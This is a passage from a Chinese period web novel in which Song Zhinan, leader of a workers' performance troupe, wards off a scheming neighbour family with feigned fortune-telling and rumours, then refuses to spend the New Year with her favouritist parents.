大家笑毕,宋知南找个地方直接把钱和饭票分了,每人都有份。 大家乐得见牙不见眼,谁能想到,他们还能靠演出赚钱。 这下好了,不但有钱有饭票,还有洗澡票和电影票。他们决定了,这个周六就带全家来钢铁厂洗澡,洗完澡再去食堂大吃一顿。 这场演出刚结束,队员们又开始盼着下一场了。 下一场要去食品厂,不用说,对方肯定得送吃的。 宋知南特地让人把钢铁厂的待遇散播出去,让后面的工厂卷起来吧。他们总得要面子吧? 事实证明,宋知南想多了,关系到利益问题,后面的厂子坚决不卷。给的东西一般般,食品厂给了点吃的,毛巾厂给了三十条毛巾,火柴厂给了一箱火柴,队员仍然欢天喜地。 星星之火文工队巡演结束后,名气大涨。附近厂区的工人和家属都知道了。里面的故事变成大家茶余饭后的谈资,还有人活学活用,效果拔群。 几个工厂演出结束后,文工队接到去乡下演出的通知。他们这次去的是珠窝大队。 队员们听到这个名字,忍不住笑了出来。 珠窝大队的名字不好听,但乡亲们热情淳朴还大方。 看演出时,他们热烈鼓掌,大声叫好。节出结束时,他们还主动帮忙收拾东西。 午饭是在大队长朱满群家吃的,东西是乡亲们凑的。大队长大方地宰了一只大公鸡,公鸡很大,但他们人太多,每人分到一块肉。宋知南多分了一个鸡翅膀。 吃完饭,唠完磕,大队长带着村民们送他们出村,这些乡亲们还给了他们三大筐白菜,三麻袋红薯。 大队长不好意思地说:“我们比不了你们城里,也只能拿出这些东西了,你们不要嫌弃,是乡亲们的一点心意。” 宋知南说道:“这么好的东西我们哪能嫌弃?你们大队的人真是又淳朴又大方。” 双方愉快地告别,大队长还让社员开着拖拉机送他们一程。宋知南一看这拖拉机旧得都快要报废了,就把上次机械厂送的那些零件拿出来,这些东西她上次随手扔在了空间里,当然她还得假装从书包里掏出来。 “朱队长,这是我上次在机械厂演讲时他们送的零件,放我这儿也没啥用,你们人要是用得着就送给你们了。” 朱大队长还没开口,那个拖拉机手激动地叫道:“哎呀,有用太有用了。宋同志你真是个好人。” 宋知南把这些零件给了拖拉机手。 大队长这一看这崭新的零件,觉得颇为过过意不去,又让人搬上来一麻袋萝卜。 乡亲们让他们等会儿,纷纷跑回家去,不一会儿又提着篮子出来,菜干咸菜粉皮之类的都往宋知南手里塞。 “宋同志,你拿着。” 宋知南摆手:“不用了不用了。” “不行,你必须得拿着,你不拿我跟你急。” 宋知南只得让队员们收下。 拖拉机拉着几大麻袋的东西一路冒着黑烟把他们送到城郊才回去。 大家把东西往自行车上装,一边装一边感慨乡亲们可真热情。 按照以前的规矩,车队的队员骑车,其余的坐公交车回去。 不过这次路程有些远,宋知南建议李群英三人先骑到公交站再换成她和宋知夏王翠花三人骑。 到了公交站,宋知南把钥匙给李群英说:“你们应该先比我们到,你们几个先到我家去歇着,等我到家,咱们把东西分一分。” “好的,你们三个辛苦了。路上小心些。” “没事没事,你们赶紧过去等车吧,别错过了。” 路上,王翠花笑声爽朗,一脸的意气风发。 “知南妹子,你是真有本事呀,到哪儿都吃得开。” “都是大家配合得好。大家团结一心,黄土变成金。” “哈哈,你说得对。” 王翠花接着说:“我跟你们说,我婆婆那人可势利了,之前我跟着队伍去演出时,她百般阻挠。后来见我往家里拿东西了,就啥也不说了。昨天还跟我探口风,说牛大妈都能当演员,为啥她就不能?我没搭理她。” 聊了一会儿,宋知南突然想到王翠花说她几年没回过娘家了,便建议道:“王姐,你不是好几年没回老家了吗?你今年就可以回了。咱们演出的补贴你攒着,到时回家的路费不就有了?” 王翠花说:“咱俩想到一块去了,我已经在偷偷攒钱了。” 王翠花又想到什么,看了一眼宋知南,有些欲言又止。 宋知南笑着说:“王姐,你有话就直说。我能帮你就帮,不能帮就陪你唠唠嗑。” 王翠花笑道:“就是我想把咱们发的东西先放在你家,到时带着回娘家,省得我婆婆说三道四的,就是怕麻烦你。” 宋知南爽快答应:“我还以为是什么事呢?这点小忙算个啥?你尽管拿来就是。我家空房多,我专门给你腾出一个地方。” “不用那么麻烦,等我有空拿个箱子来,随便找个地方放就行。” 三个人骑了两个多小时,下午四点才到家。她们到时,大家伙已经等了好一会儿了。 大家伙赶紧帮忙往下搬东西,牛春草把三人往屋里推:“你们三个赶紧歇会儿,喝口水。” 宋知南喝完半杯温水,开始指挥大家分东西。按照以往的规矩全部均分。 其实也没什么值钱的东西,但大家伙心里就是高兴。一个个欢天喜地的提着东西回家去。 当天晚上,王翠花就拎着一个半旧的藤条箱子悄悄地来了。里面装着她这些日子攒的毛巾、瑕疵布料、棉线、手套、火柴等东西。这些拿到乡下都是稀罕物。 第二天,宋知南让宋知夏把吴明珠和陆诗月的那份东西给送过去,人家这次虽然没去,但毕竟是队里的一员,分红也得给。 陆诗月收到东西时有些受宠若惊,吴明珠不在乎这点东西,但想到是自己挣来的,还是挺自豪,她准备拿回去给爸妈瞧瞧。 星星之火文工队的演出受到大家的热烈欢迎,在各个工厂和附近的公社大队巡回演出,各种补贴不断。有人亲眼看见,他们三辆自行车驮得满满当当地回来。 做为文工队的队长,宋知南的名声又上升了一个台阶。 人家现在不但有名声,还有很多实惠,听说光是粮食就有几大袋子,大家看着都眼红。 宋知南每月还有稿费拿,人家还有正式工作和房子,这条件…… 宋知南要是性子老实些,都不用多老实,哪怕只是稍稍泼辣些,在大家的眼中都是一块行走的肥肉。 现在的她是一块带刀片的肥肉,虽然吃下去有可能会割到嘴,但还是很有油水啊。贫穷和贪婪让他们格外勇敢。 那些男联盟和婆婆盟们有些松动了。有些人只要利益足够大,连国家和民族都能背叛,更何况是一个没有任何约束力的民间联盟,谁也不会真把它们当回事。 特别是家里儿子多不怕费儿子的人家思想松动得更厉害。这要是能当上宋知南家的上门女婿,这日子得有多好啊? 一个男人家里情况不好,自己又干不好,还想过好日子,那就只能“嫁”得好了。 第84章 叶大爷和他老伴张大妈最先起了这种心思, 两人已经退休,家中有四个儿子, 人们都说多子多福,对于叶家来说,他们家是多子多愁。 别的不说,儿子娶媳妇得准备彩礼和婚房吧。他们一家六口住在两间小房子里,睡觉都恨不得站着睡,狗摇尾巴都得竖着摇,这种情况怎么娶媳妇? 老俩口整天紧蹙眉头,主打一个愁。 现在二儿子下乡当知青去了,大儿要结婚,得腾出一间房。三儿子是个临时工,四儿子即将高中毕业, 不出意外的话, 四儿毕业后找不到工作也得下乡。 俗话说, 大孙子老儿子那是心头宝啊。他们心疼小儿子,就动了心思想让三儿把工作让给四儿, 至于三儿, 他们也给他想好了后路,让他当上门女婿去。人选就是宋知南。 你说宋知南厉害?那没关系,他儿子老实,不怕打不怕骂。 宋知南不招公婆喜欢?那也没关系,他们压根就不上她家去碍眼,嫁出去的儿子泼出去的水,他们虽然失去了一个儿子, 但还剩三个儿子,而且省了彩礼和房子, 还多出一个工作名额,何乐而不为? 至于名声啥的,穷人连饭都吃不饱,还讲究个啥名声? 叶大爷和张大娘商量完毕,就开始着手考察宋知南。 第一次,张大娘拎了很多东西,一步三喘地经过宋知南身边,宋知南见她可怜,就顺手帮了她一下,还送了她一段路。 张大娘回去禀告老伴:“这个小宋今天帮我忙了,她不像传说中的那么绝情啊,人倒是还行。” 叶大爷点头:“再绝情的人也有发善心的时候,再说了你是女的,宋知南对男人更狠。改天换我再试试。” 隔了两天,张大爷走着走着突然摔倒在宋知南面前,哎哟哎哟地叫唤个不停。 宋知南见状,双脚先于脑子行动,蹬蹬后退十来步。 经常看新闻的人都知道,路边的老人不能随便扶,扶了你就有可能说不清楚。 现在可没有摄像头,到时候她是有理也说不清。她不怕事不代表她爱惹事,更何况倒下的这人还是个看着就挺鸡贼的老头,碰瓷的嫌疑更大。 叶大爷见宋知南避之不及的样子,内心腹诽:“果然是个狠心的。” 宋知南离开后,叶大爷自己爬起来拍拍屁、股施施然离开了。 躲在墙角暗中观察的宋知南:我就说吧,果然是来讹我的。 宋知南记住了叶大爷的长相,隔了两天,这个叶大爷又出现了,还带着个长相平平无奇的年轻男子。 叶大爷对三儿叶来财指着宋知南说:“来财,你看见没?那个姑娘就是我们为你选的媳妇,长得还不错吧?要不是她性子太强,名声不好,也轮不到你。你嫁到她家后就有大房子住,还有好吃的,听说这姑娘花钱大手大脚,听邻居们说,她每月都要割几回肉,做饭煎炸烹煮的也不怕费油,你跟着她算是享福了。” 叶来财没什么意见,嗯了一声算是回答。 总是频繁地遇到这一家三口,宋知南也察觉到不对劲了。她记住三人的相貌特点回去向李群英打听。 李群英想了一会儿说道:“我知道你说的是谁了。那个老头是叶大爷,他家四个儿子,天天愁得睡不着觉,之前还托媒人来我家说过媒,说他家不嫌弃我年龄大、长得不好看,他家前面三个儿子随我挑,我气得把媒人赶出去了。最近听人说,他们总在咱们这附近转悠。还有人说,他们打算让三儿子叶来财当上门女婿,估计是看上你了。” 这个消息着实出乎宋知南的意料:“不都说咱们附近有男联盟和婆婆盟吗?不都说要抵制我吗?怎么这么快内部就出现叛徒了?” 李群英笑道:“什么联盟不联盟的,只要好处足够大,他们什么不能背叛?不过是吃不着葡萄反说葡萄酸罢了。” 宋知南仔细思考了一会儿,她觉得叶家这事必须得好好解决。要不然,她以后还会遇到类似的事。 一个有工作有房有点钱的单身女人在别人眼里就是一盘菜,你不上桌,那些等着吃菜的人就少了一个大菜,他们能不着急惦记吗? 她得让这些人知道,她不是盘菜,她是块烙铁,谁敢伸手,就烫死他们。 宋知南分别向多位邻居打听叶家的事,搜集足够的消息之后就开始行动了。 叶家二老都挺迷信,可以说,这个年代不迷信的老人很少。据说他们还偷偷找过张大爷算过。只不过现在打击封建迷信,他们不敢明目张胆的进行迷信活动罢了。 第一步,她打算用魔法对付魔法,用迷信指导迷信。 这次轮到宋知南暗中考察叶大爷了。 她悄悄地跟在叶大爷身后,盯着他看了一会儿,突然在他背后说:“哎呀呀,看上去还挺严重。大爷你小心些,别摔倒了。” 叶大爷停住脚步回头一看,见是宋知南,既诧异又惊喜。 宋知南一脸严肃地说:“这位大爷,我刚才从你背后看,你的两条腿不一般长,一高一低,落步一重一轻,你这腿毛病不轻啊。这地上还有薄冰,很滑,你一定要小心啊。” 叶大爷赶紧套近乎:“姑娘,你人还挺好。” 宋知南眉头微皱,犹豫片刻,最后说道:“大爷,你走两步,走两步我看看。” 叶大爷怔了一下,不明白她这是要干什么,但还是依言走了两步。 宋知南一拍大腿:“哎呀妈呀,完了完了。你左脚跺几下,试试麻不麻。” 叶大爷不解,还是依言跺了几下,果然麻了。他不相信,又跺了几下,这下更麻了。 他喃喃自语道:“我早感觉我的腿不舒服,没想到还真有问题。” 宋知南关切地说:“大爷,你赶紧回去吧。我看你两道眉毛的中间有点发黑,近日你一定要多加小心。这话我只对你讲,你要敢举报我,我就说你也搞封建迷信。要不然你怎么知道我迷信?” “哎哎,你尽管放心,我不说。”叶大爷还在试着跺脚,比刚才更麻了。 第二天早上,宋知南在路上“偶遇”了叶来财。 叶来财正骑着一辆哪儿都响就铃铛不响的破自行车去上班。 宋知南对着叶来财大声喊道:“同志,你一定要小心电线杆,记住啊,骑车时千万别往电线杆上看。” 叶来财:“……” 宋知南重复着刚才的话:“记住,一定一定不要看电线杆。” 叶来财的脑海里不知怎地就一直循环着“一定不要看电线杆”,越是这样循环,他就越忍不住想看电线杆,一根两根三根,也不知道看了多少根电线杆。终于,叶来财咚地一声撞了上去,疼得眼冒金星,鼻子流血。 宋知南这一天忙的,早上偶遇叶来财,晚上还得去叶家附近逛逛。 冬天黑得早,天一黑,路上行人也变少了。 宋知南照旧溜狗,她在空间里放了几桶水,路过叶家时,见四下无人,在门口泼上两桶水,再悄然离开。 当天晚上,叶家人正襟危坐,气氛凝重。 叶大爷先开口:“我今天发现我的两条腿不一般长,落脚一个轻一个重,一跺就麻,越跺越麻。” 叶来财:“我早上碰到宋知南了,她一直叫我不要看电线杆,结果我就撞电线杆上了,鼻子都流血了。” 叶大爷:“对了,我的腿就是宋知南提醒的,她还说她学过看相,说我印堂发黑,叫我最近一定要小心。” 叶家众人将信将疑。 第二天早上,张大娘出门买菜,扑通一声摔倒在地上。叶大爷听到声音去扶,又是扑通一声摔倒在地上。 张大娘捶着地大喊:“你印堂发黑,这不就来祸事了。” 其他邻居听到声音赶紧过来扶起二人。 叶大爷惊呼一声:“完了完了,我的腿真瘸了。” 接二连三的倒霉给叶家人蒙上了一层浓重的阴影,他们开始复盘事情的经过。 他们发现这些倒霉事都有一个共同点,就是他们开始打宋知南的主意之后才发生的,咋地?这个宋知南会作法吗? 叶大爷和张大娘相互搀扶着去找胡同神算子张大爷问计,虽然现在不让搞迷信,但由于人们信这个的太多,有关部门管得不是特别严格,除非搞得太引人注目,像他们这种偷偷来问的人,只要双方不说出去,一般没啥事。 张大爷煞有其事地问了事情的经过,戴上老花镜翻黄历,再掐指一算,突然惊呼道:“哎呀呀,你们家是招惹了不该招惹的,所以才有这一连串的祸事,得赶紧想办法化解。” 叶大爷赶紧说:“我们就是招惹了宋知南。” 张大爷的眼中闪着熊熊的八卦之光,立即身体前倾:“你们说得再仔细些。” 叶大爷和张大娘也不再隐瞒,噼里啪啦地把原来的打算全说了出来。 张大爷面带诧异:“你俩打算让你家老三去当宋家的上门女婿?你们就不怕宋知南欺负你儿子?” 叶大爷叹息一声:“嗐,这不是没办法吗?谁让我家儿子多,彩礼钱出不起,家里也没地方住。至于说欺负,我家老三一个大男人难道还真的打不过宋知南一个姑娘家?再说了,我家老三从小就是个老实孩子,他别的本事没有,但他特别能忍。说不定时间长了,两人感情变好了,宋知南就不欺负他了。” 张大爷接着问:“咱们厂里有那啥抵制宋知南的联盟,他们放出话来,谁敢跟管宋知南处对象,他们就孤立谁。你们不怕?” 叶大爷:“我们老俩口退休了,只有我大儿在纺织厂,我三儿只是个临时工,用不着他们搭理。啥口号都是虚的,有房子住有媳妇娶才是真的。” 张大爷也不好再说什么了。 叶大爷又说:“宋知南说她跟你学过看相。她说我印堂发黑,叫我最近一定要小心。” 张大爷自己都疑惑了,他教过宋知南看相吗?怎么不记得了?不过这也不重要。 他盯着叶大爷的印堂看了几眼,突然一拍大腿:“你别说,你还别说,你的印堂真的发黑。” 叶大爷和张大妈对视一眼,一脸沮丧。 张大爷继续跟他们分析:“我觉得这个事有蹊跷,你们先回去吧,我再帮你们算算。”他得出去打听打听消息再算。 两人叹着气搀扶着离开了。 第二天上午,张大爷专门来找宋知南打探消息。 今天正好是星期天,宋知南正在门口扫地。 张大爷凑上去问道:“小宋啊,你最近有没有感觉到哪里不对劲?” 第85章 宋知南放下扫帚, 看着张大爷欲言又止、欲说还休,最后所有的话都化成了一声叹息。 张大爷目光闪烁:他就知道, 宋知南这儿一定有情况。 他慈祥又热心地鼓励道:“小宋啊,你虽然聪明有文化,但你毕竟年轻,经的事少,有什么事,你一定不要憋在心里,你说出来,我们大家伙都会帮你。” 宋知南犹豫半晌,终于下定了某种决心:“张大爷,我知道你懂这行,我也只能跟你说, 但你必须得保证, 我今天说的话你绝对不能往外传。要不然别人就会举报咱俩搞封建迷信。” 张大爷急声说:“你放心, 我的嘴紧得很,我保证不告诉任何人。” 宋知南未语先叹气:“唉, 小孩没娘, 说来话长。我小时候见过一个算命先生,他说我命格特别独特,说我是女人的福星。你看我进了妇联是不是帮了很多女同志?” 张大爷附和道:“算命的说得很对呀。” 宋知南话锋一转:“但是吧,这世上的事哪有十全十美的?好事又怎么会全落到一个人身上呢?” “哦哦,也对。那算命的还说什么了?” “他说我同时也是男人的克星。” 张大爷惊讶得张大嘴巴:“真的假的?” 宋知南:“起初我也不相信。可是后面方方面面都证明了他说的是真的。你看咱厂里的男同志是不是一起抵制我?” “哦,这倒是哈。” “现在那叶来财一对我有意,他爸腿就瘸了, 他骑自行车就摔了,他妈一大早就摔跤了。” “我的天呐。” 张大爷越想越觉得这事是真的。 他摇头叹息:“小宋啊, 你真是可怜。可是这事你也不能真往外说呀。” 这传出去以后还怎么找对象? 宋知南无奈地说:“我爸妈也是这么告诉我的,他们谁也不说,谁问都不说。我其实也不想说,可是眼看着叶大爷腿瘸了,张大娘摔倒了,我心里难受愧疚啊。” “大爷你千万不要告诉别人,我只跟你一个人说了,要是他们叶家来找我要赔偿,我就找你要去。” 张大爷赶紧摇头:“那不行,他们家凭什么找你要赔偿?就凭他俩腚宽脸大?谁让他们先打你的主意的。你放心,咱们是邻居,我会帮你的。” 宋知南想了想又说道:“不过我也不用太担心,算命的还说,这事也不能怪我,都是上天安排的。谁要是敢报复我,就是对上天的安排不满意,他们家后面会连续倒大霉。做为有老天奶撑腰的人,你说我怕什么?” 张大爷震撼又惶恐地看着宋知南,不由自主地后退数步。退了几步,他又忍不住往前走几步,小声问:“那个小宋,给你算命的先生叫什么名字,多大年纪?你们是在什么地方遇到的?” 宋知南假装在努力回忆,想了一会儿,不确定地说,“时间太长了,再加上我当时年纪小,也就四五岁吧,实在记不清了。我记得好像是在庙会,人很多,我跟我家人走散了,急得哇哇大哭。正好旁边有一个仙风道骨的卜卦老头,他和气地叫我在他摊子前等着。当时算卦的人不多,他就顺便帮我算了一卦。” 原主的记忆中确实在庙会跟家人走散过,也确实有那么一个会算命的老头。 张大爷一脸遗憾,可惜了,当时就是个老头,这十年过去了,说不定现在人都已经仙逝了。 张大爷对这个话题出奇地感兴趣,接着问:“小宋,你再好好想想,那个算命先生还说啥来着?” 宋知南紧皱眉头苦思冥想:“唉,都怪我当时年纪太小,记不住全部内容。哦对了,他还说我小时候会经历一些磨难,十五岁会有一个大坎,只要挺过去,后面就会柳暗花明、顺风顺水。他还给我看了手相,说我是文曲星下凡,将来必将颠覆文坛。我一直不敢相信,也从来不敢跟人说,怕人家笑话我。” 张大爷双眼放光,“小宋,你把你的生辰八字告诉我,我再帮你算一算。” 宋知南警惕地看着张大爷,直接拒绝:“不行,算命先生叮嘱我,我的命格很特殊,不能随便让人算,生辰八字也不能随便告诉别人。” 张大爷愈发觉得这个算命先生深不可测,只有内行人才知道他们这行的水有多深。 宋知南说完就离开了,走了几步,她又跑回来,谨慎地说:“张大爷,你刚才答应我了,这件事你千万不要告诉别人。要是别人举报我搞封建迷信,我就把你供出去。” 张大爷连忙保证:“你放心,我绝对不会告诉外人。” 没过两天,宋知南克夫的小道消息不胫而走,周围邻居见到她不禁摇头叹气,然后再窃窃私语。 “可怜的小宋,以后可怎么办呐。” “哎,你听说了吗?东头的叶老头腿瘸了,老伴摔伤了,三儿子撞电线杆了,在乡下插队的二儿子掉粪坑里了。这一切都是因为宋知南。” “他们家跟小宋没啥关系呀。” “你的消息落后了吧?叶老头想让他家三儿入赘到宋家。” “宋知南那性子他们也受得了?” “宋知南要不是那种性子和名声,人家姑娘有房子有工作长得还不错,还会写文章,能轮到老叶家那个三脚踹不出一个屁的儿子?” “就算是这样,也轮不到他家三儿吧,想得真美,人家小宋同意了吗?” “小宋同没同意咱不知道,但是叶老头刚刚有这个念头,家里就接连倒霉。张大爷特意上门告诉他们,让他们别想那些有的没的了,不然以后还得倒霉。” 宋知南克夫的新闻还在传播着,第二个消息又传出来了。张大爷悄悄打听到宋知南的生辰八字,仔细一算,可不得了。 他说宋知南是文曲星下凡,十五岁有道坎,之后就一直走大运。别人顶多有十年大运,她有好几十年大运。当然,人不可能什么好事都占全了,她付出的代价就是亲缘浅薄,还克夫。 为什么宋上进和李玉华不喜欢宋知南,因为这两人的命格太普通了,压不住宋知南这么贵重的命格,人对于自己压制不住的人就会排斥和反感。 换句话说就是,宋家配不上宋知南这么优秀的女儿。 关于宋知南的流言满天飞,那些流言就像武松打老虎,越传越离谱。 这些邻居们对于这个消息,秉承着“流言三千,我只取一瓢饮”的原则,有人相信宋知南克夫,有人相信宋知南命格贵重,有人啥也不信。 还有人向李玉华和宋上进打听消息,两人是一问三不知,什么也不肯透漏。那些坚信派更加坚信,宋知南肯定克夫,要不然她爹妈也不会瞒这么紧。 宋上进和李玉华自然也听到了这些消息,两人赶紧商量对策。 宋上进一脸愁容:“我早就说过,小四这个性子迟早得惹出大乱子,你瞧瞧,这克夫的流言都传出来了。这可怎么办?” 李玉华不知怎地有一丝幸灾乐祸:“她不是能吗?我就看她以后怎么办?一个女孩子,名声坏了已经够麻烦了,这下倒好,克夫的传闻都出来了。她这辈子就别想找到婆家。” 宋上进瞪了李玉华一眼:“你还笑上了,你知不知道事情的严重性?知南找不到对象,别人笑话的是咱们宋家。咱们一分彩礼钱都落不着,说不定还会影响秋实和冬宝的前途。” 一提到儿子的前途,李玉华的神色也变得凝重起来。 “他爸,那咱们怎么办?” “还能怎么办,赶紧去辟谣。” 宋上进和李玉华一起去辟谣:“克夫?根本没有这回事。文曲星,可能会吧?哦对了,我家的秋实和冬宝当时也算了,算命先生说,我们秋实也很有慧根,他俩将来是干大事的料。你们以后就知道了。” 大家伙斜眼看着他们,有人快言快语:“可是你大儿根都没了,还能有慧根?” 李玉华气得破口大骂:“你不会说话就闭嘴。” 大家只愿意相信自己相信的,夫妻俩辟谣也没用。 他们也去问当事人宋知南,宋知南对此很淡然:“我是一个唯物主义者,不信这些封建迷信。我只管努力工作,组织自有安排,我把青春献给祖国献给党。啥克夫不克夫的,我不在乎。只要能打倒美帝,我宁愿一生不婚不育。” 众人咂舌,宋知南到底跟美帝多大的仇? 接着又有人悄悄问宋知南:“你只想着打倒美帝,那小日子呢?你不想灭掉吗?” 宋知南咬牙说道:“我愿意献祭我未来婆家全家,就为换来富士山火山喷发。” 大家不说话了,太可怕了,太残暴了。 但人家是为国为民,又很可敬。就是可怜了她未来的婆家。这以后谁要是敢打宋知南的主意,他们先去敬他们一杯。 叶大爷和张大妈听着这些消息后,面面相觑,他们不禁感到后怕,他们当初咋就那么勇敢呢?竟然敢打宋知南的主意? 叶大爷捶着自己发麻的左腿,遗憾地说道:“真是可惜。宋知南住着那么好的房子,有那么好的工作,又能赚稿费又带队演出,可就是不能嫁人。”有便宜没法让,怎能不让人遗憾。但叶大爷一想到,这个大便宜他们家占不着,别人家也占不着,他心里又平衡了。 流言越传越广,宋知夏自然也听说了。 她深深地叹息,忧心忡忡地看着妹妹。 宋知南哼着歌儿撸着猫,心情十分舒爽。她应该能清净好一阵子了。 这世间真是群魔乱舞、魑魅魍魉横行,不过也没关系,她就是其中最大的那个魔。对付妖魔的还得是大魔。 人生如戏,你不仅要会演戏,还得会导戏。 每个人都是演员,也都是导演,没事就自导自演,这平淡乏味的人生不就风生水起、有滋有味了吗? 她真是智慧又无私,不忍人间乏味,以身入局亲自导戏。 第86章 雪花胡乱飘, 北风起劲叫。新年快到了。 虽然有人提倡过革命化的春节,但提倡归提倡, 大家私下里还是按照老一套来。 宋家这个新年还不如往年舒心。往年不管怎样,全家都是齐齐整整的,家里是热闹的。 往年也没有出宋秋实那档子事。现在倒好,宋上进给大儿子宋秋实写信,宋秋实说他不想面对亲戚邻居的闲言碎语,就不回来过年了。 宋上进唉声叹气,李玉华眼眶发红:“我的秋实,一个人孤零零的在外面多可怜呐。” 宋上进看看家里,二女儿出嫁了,自然得在婆家过年。三女儿,不提也罢, 一想到她就来气。 宋冬宝端详着父母的脸色, 试探道:“爸妈, 咱是不是得去接三姐回来过年?就咱们仨多没意思啊。” 李玉华阴阳怪气地说:“呵,她是祖宗吗?还得用人去接?她不会自己回来吗?” 宋上进也附和道:“就是, 她想回就自己回来, 不想回拉倒。别人一家人子热热闹闹欢声笑语,就她孤孤单单一个人,我看她怎么过?” 宋上进和李玉华想到一起去了,他们以为的宋知南此时一定是冷冷清清、凄凄惨惨。 哪里想到,宋知南此时幸福的不得了。 趁着过年,宋知南囤了一大堆吃的喝的。瓜子、花生、干果样样俱全,小麻花、糖瓜、糖豆每样都不缺, 想吃哪样吃哪样。年还没过,她的脸圆了一圈, 个子又长高了一截。现在的她是实心的,身上的肉一捶下去硬邦邦的。她过完年才十六,还有希望再长一点。猫和狗也胖了一圈,皮毛闪闪发亮。 魏芬让两个孩子给她送来一盆炸丸子,李群英给她送来一盘冻梨,王翠花回娘家前给她送了炒瓜子和柿饼。边月给她送来了一小筐柿子,何黛也送来一篮子零嘴。 大姐宋知春让丈夫吴江给她送来一筐包子馒头,她回送姐夫一袋子萝卜和土豆。 宋知南今天尝尝这个,明天尝点那个,每天换着花样吃。吃完饭,就窝在炉子边一边磕瓜子花生一边看书,猫和狗都卧在她脚边。 看书看累了,她唱歌给猫狗听。 外面,寒风呼啸,屋里歌声嘹亮。 人生如此枯燥,就得会自娱自乐。 宋冬宝来宋知南家时,正好听到宋知南在大声唱“大刀朝鬼子头上砍去”,吓得宋冬宝脖子直发凉。 “姐,我进来了。”宋冬宝敲了敲院门,大声喊道。 “进来吧。” 宋知南也没起身迎接宋冬宝,继续唱歌。 宋冬宝不解地问:“姐,你咋天天那么乐呵呢?” 宋知南一脸高深莫测:“人生苦短,指不定哪天就没了,乐呵一天是一天。” 宋冬宝还是不太理解:“可是你现在才多大,咋想那么远呢?” 宋知南摇头:“以你的年纪和智商来说,跟你说了,你也不懂。” 宋冬宝无言以对。 宋知南大方地给宋冬宝一把瓜子,问道:“你今天来有事啊?” 宋冬宝一边嗑瓜子一边问:“姐,你不回家过年吗?” “不回。” “一个人冷冷清清的多没意思。” 宋知南指指屋里:“你看,我有猫有狗有吃有喝有玩有乐的,冷清吗?没意思吗?我在家里能想吃什么吃什么吗?能放声唱歌吗?我现在哪怕倒着走都没人管。” 宋冬宝:“……好吧。”说得他都有些向往了。 宋冬宝也不太会劝人,呆了一会儿就回家去了。 他回到家如实叙述了自己的所见所闻:“三姐一个人过得挺好的,屋里挺暖和,有吃有喝有猫有狗,想吃啥就吃啥。” 宋上进和李玉华听着心里非常不得劲。她一个人怎么可能幸福?她怎么敢那么幸福? 越临近年关,宋上进和李玉华心里越不得劲,邻居们总是有意无意地问他们:“怎么你家就你们三口啊?你大儿子不回来吗?你三闺女呢?” 问得多了,两人心里越发不舒服。 宋上进突然说道:“秋实不回来就罢了,知南必须得回来。她离这么近还不回家过年,别人指不定说什么呢。” 李玉华没反对,算是默认了。 宋上进派宋冬宝去叫宋知南回来过年。 宋冬宝去的时候,宋知南正坐在火炉旁吃小火锅,她邀请宋冬宝一起吃。 宋冬宝看着旁边的架子上放的东西一脸惊讶:“竟然有羊肉,还有丸子?姐,你从哪儿弄的?” 宋知南说:“保卫科的老赵,他人面广,他家亲戚在内蒙,他弄了半头羊,给我匀了一点,这肉丸子是我自己做的,厉害吧?” “厉害。” 宋冬宝吃着火锅说明自己的来意,“爸妈让我来叫你回去过年。他们说大哥离得远不回来就罢了,你要是再不回去,别人该说咱们家了。” 宋知南不在意地说:“咱们家被人说的还少吗?隔三差五整一个新闻,还怕人议论?” 宋冬宝绞尽脑汁地劝说:“三姐,让你回就回吧,你回家过年有个好处,就是不用自己做饭了,要不然天这么冷,你还得自己动手做饭干活。” 宋知南冷笑:“你、爸、大哥往年是不用干活,可家里的活总得有人干,你说都是谁干呢?” 宋冬宝猛然想起这茬,不知道该怎么接话,只好嘿嘿一笑。 宋知南越想越为原主生气,便说道:“你回去告诉爸妈,别来请了,我不回去,这儿就是我的家,我人在哪儿,哪儿就是我的家。” 宋冬宝见姐姐突然生气了,连劝也不敢了,只好埋头吃饭。 宋冬宝蹭了一顿火锅回家去了。 宋上进和李玉华得知宋知南坚持不回来过年,两人摔摔打打、骂骂咧咧。 宋上进冷着脸说:“不回来拉倒,家里还省了几顿饭呢。别人家的闺女逢年过节又是给爸妈添衣裳又是发红包的,她倒好,一点表示都没有。” 李玉华也是愤愤不平:“隔壁院里的小玲,刚上班没几个月,每月工资上交大半,还从牙缝里省出钱给她妈买了一件新衣裳,给她爸买了棉帽子,给她弟买了双新棉鞋,大家谁不夸小玲孝顺懂事?” 夫妻俩越说越不平,越说越生气。 到了大年二十九下午,宋知夏过来给娘家送春联和窗花,随口问道:“爸妈,三妹怎么没回来过年?” 李玉华阴阳怪气道:“人家翅膀硬了呗。” 宋上进看着外面阴沉沉的天空,突然说道:“昨天我去邻居家打牌,别人还跟我开玩笑,问我小四到底是不是咱俩亲生的?给我弄得一脸尴尬,你说这叫什么事?明明是自己生的孩子,结果别人都怀疑抱错了,怎么解释都不信。” 宋知夏以前不敢顶嘴,因为爸妈是真动手打她。她现在到了婆家,公婆嘴里虽然没好话,但是不敢轻易动手。再加上她这几个月解放了不少天性,人也变得大胆起来了,便接过宋上进的话说:“爸,咱们听话听因,别人为啥总怀疑三妹不是你们亲生的?还不是因为你们太偏心。” 宋知夏一句话同时惹毛了宋上进和李玉华,两人勃然大怒:“知夏,你是怎么说话的?我们哪里偏心了?怎么?你的翅膀也变硬了是吗?” 要是以前,宋知夏吓得立即闭嘴不言,现在嘛,她已经今非昔比了,就反驳道:“有没有偏心你们自个儿心里清楚,三妹是从一生下来就这样吗?还不是被伤透了心才变成现在这样的?即便如此,她的心还是善良的,我被婆家欺负,她也没有不管我。” 宋上进盯着宋知夏:“你长能耐了,还学会顶嘴了?” 宋知夏吓得习惯性后退几步,但她想到自己已经结婚成家了,断不能再像以前那样了,硬撑着回道:“爸,你看看,我只不过说几句自己的看法而已,你都不让我说。我已经成家了,你还是想骂就骂想打就打,你打过秋实和冬宝吗?这不是偏心是什么?现在秋实已经靠不着了,就剩下冬宝一个,要是我们姐妹仨都跟你们离了心,你们好好想想你们老了以后怎么办吧。” 说完,宋知夏扭头就要离开。 李玉华见二闺女也造反了,跳着脚骂:“你这个白眼狼,可赶紧滚回去吧。” 宋上进阴沉着脸沉思片刻,突然叫住宋知夏:“知夏,你别走,跟我一起去小四哪里,咱们去请她回来,冬宝也一起去。” 三人到了宋知南家,宋冬宝已经来过两回,已经惊讶过了。宋知夏常来干活做饭,也早已习以为常。 宋上进很少来,此时看着屋里的摆设,不由得面带诧异。 